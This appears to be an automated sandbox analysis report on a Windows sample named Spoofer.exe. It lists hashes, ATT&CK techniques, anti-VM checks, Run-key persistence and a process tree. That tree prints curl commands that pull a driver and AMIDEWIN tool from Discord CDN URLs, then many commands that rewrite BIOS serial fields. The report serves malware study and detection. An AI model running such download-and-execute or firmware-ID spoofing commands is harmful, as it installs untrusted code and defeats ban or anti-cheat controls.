9cf81914030b67759112485c3f7fbf66286edd38e9a8bf93b5543e0cff582bd2

Analysis

max time kernel
150s
max time network
147s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/08/2026, 04:26

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Spoofer.exe
Size 2.7MB
Sample260826-e2zrgagl9x
SHA256 9cf81914030b67759112485c3f7fbf66286edd38e9a8bf93b5543e0cff582bd2
MD5 812b3e8694648f3049a0cb27f89aaedf
SHA1 aaefe708a73044e855e3b2fec29267cc975f70ca
SHA512 56dbbcd0db89fc62deac4097ba8bc4d2fff59c02600a17a1e0983b39d08c717f227da43843de791f2f8884c471488b546b7bf979bc973ce00d4ac05aa1c43740
SSDEEP 49152:WXzhpDtKSK1cb8PGK+Tfuqmpc3elWo8GnQAsYZEVSV33:WXzhW148Pd+Tf1mpcOldJQ3/V0
TLSH
T1C9D5E1192D43434DD1915231A5B9A90CF153FEE887708AEB34CE6E9BCECE9B5D907A0C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution persistence themida trojan

Malware Config

Signatures

Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Spoofer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	icsys.icn.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorer.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	spoolsv.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	svchost.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	spoolsv.exe

Checks BIOS information in registry 2 TTPs 12 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	spoolsv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Spoofer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	icsys.icn.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	spoolsv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	spoolsv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	spoolsv.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	Spoofer.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	icsys.icn.exe

Executes dropped EXE 6 IoCs

pid	Process
2924	spoofer.exe
124	icsys.icn.exe
5860	explorer.exe
5128	spoolsv.exe
1436	svchost.exe
3016	spoolsv.exe

Themida packer 17 IoCs

Detects Themida, an advanced Windows software protection system.

themida

resource	yara_rule
behavioral2/memory/2260-0-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/files/0x000d00000001c4a1-12.dat	themida
behavioral2/files/0x000e00000001c4a3-18.dat	themida
behavioral2/memory/5860-23-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/files/0x000e00000001c4ac-32.dat	themida
behavioral2/memory/5128-34-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/files/0x000e00000001c4b0-44.dat	themida
behavioral2/memory/1436-46-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/memory/3016-55-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/memory/5128-57-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/memory/124-58-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/memory/2260-59-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/memory/5860-61-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/memory/1436-63-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/memory/1436-64-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/memory/5860-75-0x0000000000400000-0x0000000000A16000-memory.dmp	themida
behavioral2/memory/5860-77-0x0000000000400000-0x0000000000A16000-memory.dmp	themida

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	svchost.exe

Checks whether UAC is enabled 1 TTPs 6 IoCs

defense_evasion trojan

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	svchost.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	spoolsv.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Spoofer.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	icsys.icn.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	explorer.exe
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	spoolsv.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\explorer.exe	explorer.exe
File opened for modification	C:\Windows\SysWOW64\explorer.exe	svchost.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 6 IoCs

pid	Process
2260	Spoofer.exe
124	icsys.icn.exe
5860	explorer.exe
5128	spoolsv.exe
1436	svchost.exe
3016	spoolsv.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Resources\tjud.exe	explorer.exe
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	Spoofer.exe
File opened for modification	\??\c:\windows\resources\themes\explorer.exe	icsys.icn.exe
File created	C:\Windows\amifldrv64.sys	curl.exe
File opened for modification	\??\c:\windows\resources\spoolsv.exe	explorer.exe
File created	C:\Windows\AMIDEWINx64.EXE	curl.exe
File opened for modification	\??\c:\windows\resources\svchost.exe	spoolsv.exe

Executes a command shell one-liner 1 TTPs 38 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5600	cmd.exe
5572	cmd.exe
4696	cmd.exe
5048	cmd.exe
2456	cmd.exe
1864	cmd.exe
3008	cmd.exe
4992	cmd.exe
3416	cmd.exe
736	cmd.exe
1556	cmd.exe
5212	cmd.exe
5188	cmd.exe
3936	cmd.exe
2936	cmd.exe
2828	cmd.exe
3472	cmd.exe
5592	cmd.exe
1252	cmd.exe
5716	cmd.exe
3376	cmd.exe
4804	cmd.exe
4688	cmd.exe
5500	cmd.exe
2788	cmd.exe
1376	cmd.exe
2768	cmd.exe
3880	cmd.exe
3256	cmd.exe
1212	cmd.exe
4268	cmd.exe
1764	cmd.exe
3612	cmd.exe
3420	cmd.exe
3988	cmd.exe
2272	cmd.exe
4840	cmd.exe
3564	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Spoofer.exe

Modifies registry class 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\discord-1086389167996547133	spoofer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\discord-1086389167996547133\URL Protocol	spoofer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\discord-1086389167996547133\DefaultIcon	spoofer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\discord-1086389167996547133\shell\open\command	spoofer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\discord-1086389167996547133\ = "URL:Run game 1086389167996547133 protocol"	spoofer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\discord-1086389167996547133\DefaultIcon\ = "c:\\users\\admin\\appdata\\local\\temp\\spoofer.exe\u00a0"	spoofer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\discord-1086389167996547133\shell	spoofer.exe
Key created	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\discord-1086389167996547133\shell\open	spoofer.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\discord-1086389167996547133\shell\open\command\ = "c:\\users\\admin\\appdata\\local\\temp\\spoofer.exe\u00a0"	spoofer.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
2260	Spoofer.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe
124	icsys.icn.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
5860	explorer.exe
1436	svchost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2924	spoofer.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
2260	Spoofer.exe
2260	Spoofer.exe
124	icsys.icn.exe
124	icsys.icn.exe
5860	explorer.exe
5860	explorer.exe
5128	spoolsv.exe
5128	spoolsv.exe
1436	svchost.exe
1436	svchost.exe
3016	spoolsv.exe
3016	spoolsv.exe

Suspicious use of WriteProcessMemory 46 IoCs

description	pid	Process	procid_target
PID 2260 wrote to memory of 2924	2260	Spoofer.exe	89
PID 2260 wrote to memory of 124	2260	Spoofer.exe	91
PID 2924 wrote to memory of 2936	2924	spoofer.exe	92
PID 2924 wrote to memory of 5572	2924	spoofer.exe	93
PID 5572 wrote to memory of 1900	5572	cmd.exe	95
PID 124 wrote to memory of 5860	124	icsys.icn.exe	94
PID 2924 wrote to memory of 3376	2924	spoofer.exe	96
PID 3376 wrote to memory of 4912	3376	cmd.exe	97
PID 5860 wrote to memory of 5128	5860	explorer.exe	98
PID 2924 wrote to memory of 4992	2924	spoofer.exe	99
PID 2924 wrote to memory of 2828	2924	spoofer.exe	100
PID 2924 wrote to memory of 3472	2924	spoofer.exe	101
PID 2924 wrote to memory of 2788	2924	spoofer.exe	102
PID 2924 wrote to memory of 1376	2924	spoofer.exe	103
PID 2924 wrote to memory of 4696	2924	spoofer.exe	104
PID 2924 wrote to memory of 2768	2924	spoofer.exe	105
PID 2924 wrote to memory of 2272	2924	spoofer.exe	106
PID 2924 wrote to memory of 3612	2924	spoofer.exe	107
PID 2924 wrote to memory of 5600	2924	spoofer.exe	108
PID 2924 wrote to memory of 1212	2924	spoofer.exe	109
PID 2924 wrote to memory of 4804	2924	spoofer.exe	110
PID 5128 wrote to memory of 1436	5128	spoolsv.exe	111
PID 2924 wrote to memory of 4688	2924	spoofer.exe	112
PID 2924 wrote to memory of 3416	2924	spoofer.exe	113
PID 2924 wrote to memory of 4268	2924	spoofer.exe	114
PID 2924 wrote to memory of 5592	2924	spoofer.exe	115
PID 2924 wrote to memory of 3880	2924	spoofer.exe	116
PID 2924 wrote to memory of 736	2924	spoofer.exe	117
PID 2924 wrote to memory of 3420	2924	spoofer.exe	118
PID 2924 wrote to memory of 3256	2924	spoofer.exe	119
PID 2924 wrote to memory of 1556	2924	spoofer.exe	120
PID 2924 wrote to memory of 1252	2924	spoofer.exe	121
PID 2924 wrote to memory of 5212	2924	spoofer.exe	122
PID 2924 wrote to memory of 5188	2924	spoofer.exe	123
PID 2924 wrote to memory of 5716	2924	spoofer.exe	124
PID 2924 wrote to memory of 5500	2924	spoofer.exe	125
PID 1436 wrote to memory of 3016	1436	svchost.exe	126
PID 2924 wrote to memory of 5048	2924	spoofer.exe	127
PID 2924 wrote to memory of 4840	2924	spoofer.exe	128
PID 2924 wrote to memory of 2456	2924	spoofer.exe	129
PID 2924 wrote to memory of 1764	2924	spoofer.exe	130
PID 2924 wrote to memory of 3988	2924	spoofer.exe	131
PID 2924 wrote to memory of 1864	2924	spoofer.exe	132
PID 2924 wrote to memory of 3936	2924	spoofer.exe	133
PID 2924 wrote to memory of 3008	2924	spoofer.exe	134
PID 2924 wrote to memory of 3564	2924	spoofer.exe	135

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	5	curl/8.8.0
HTTP User-Agent header	8	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\Spoofer.exe
"C:\Users\Admin\AppData\Local\Temp\Spoofer.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2260
- \??\c:\users\admin\appdata\local\temp\spoofer.exe
  c:\users\admin\appdata\local\temp\spoofer.exe
  2⤵
  - Executes dropped EXE
  - Modifies registry class
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2924
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c color 1
    3⤵
    - Executes a command shell one-liner
    PID:2936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1154954276758634506/1155262042295513219/amifldrv64.sys -o C:\Windows\amifldrv64.sys --silent
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5572
  - - C:\Windows\system32\curl.exe
      curl https://cdn.discordapp.com/attachments/1154954276758634506/1155262042295513219/amifldrv64.sys -o C:\Windows\amifldrv64.sys --silent
      4⤵
      Drops file in Windows directory
      PID:1900
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c curl https://cdn.discordapp.com/attachments/1154954276758634506/1155262042731716658/AMIDEWINx64.EXE -o C:\Windows\AMIDEWINx64.EXE --silent
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3376
  - - C:\Windows\system32\curl.exe
      curl https://cdn.discordapp.com/attachments/1154954276758634506/1155262042731716658/AMIDEWINx64.EXE -o C:\Windows\AMIDEWINx64.EXE --silent
      4⤵
      Drops file in Windows directory
      PID:4912
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /IVN DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:4992
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /IV DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:2828
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /IV DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:3472
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SM DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:2788
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SP DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:1376
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SV DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:4696
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SS DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:2768
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SU AUTO >nul
    3⤵
    - Executes a command shell one-liner
    PID:2272
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SK DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:3612
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /SF DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:5600
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BM DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:1212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BP DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:4804
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BV DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:4688
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BS DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:3416
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BT DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:4268
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /BLC DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:5592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /CM DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:3880
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /CV DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:736
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /CS DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:3420
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /CA DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:3256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /CSK DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:1556
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /PSN DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:1252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /PAT DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:5212
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /PPN DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:5188
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 1 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:5716
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 2 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:5500
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 3 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:5048
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 4 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:4840
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 5 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:2456
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 6 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:1764
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 7 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:3988
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 8 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:1864
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 9 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:3936
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 10 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:3008
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c C:\Windows\AMIDEWINx64.EXE /OS 11 DHQX992121213-%RANDOM% >nul
    3⤵
    - Executes a command shell one-liner
    PID:3564
- C:\Windows\Resources\Themes\icsys.icn.exe
  C:\Windows\Resources\Themes\icsys.icn.exe
  2⤵
  - Identifies VirtualBox via ACPI registry values (likely anti-VM)
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Checks whether UAC is enabled
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:124
- - \??\c:\windows\resources\themes\explorer.exe
    c:\windows\resources\themes\explorer.exe
    3⤵
    - Modifies visibility of hidden/system files in Explorer
    - Identifies VirtualBox via ACPI registry values (likely anti-VM)
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Adds Run key to start application
    - Checks whether UAC is enabled
    - Drops file in System32 directory
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:5860
  - - \??\c:\windows\resources\spoolsv.exe
      c:\windows\resources\spoolsv.exe SE
      4⤵
      Identifies VirtualBox via ACPI registry values (likely anti-VM)
      Checks BIOS information in registry
      Executes dropped EXE
      Checks whether UAC is enabled
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:5128
    - - \??\c:\windows\resources\svchost.exe
        
        c:\windows\resources\svchost.exe
        5⤵
        Modifies visibility of hidden/system files in Explorer
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Adds Run key to start application
        Checks whether UAC is enabled
        Drops file in System32 directory
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:1436
      - \??\c:\windows\resources\spoolsv.exe
        
        c:\windows\resources\spoolsv.exe PR
        6⤵
        Identifies VirtualBox via ACPI registry values (likely anti-VM)
        Checks BIOS information in registry
        Executes dropped EXE
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:3016

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

spoofer.exe

Path C:\Users\Admin\AppData\Local\Temp\spoofer.exe
Size 157KB
SHA256 fcd04587bc69ac61f1d59897fb35f248a1f97a3549df838d00321d73d65fe570
MD5 407f16d056d7bbfc4f50042565aaf71c
SHA1 183a360c72e6fe19e367acc3a63fc64b7b987747
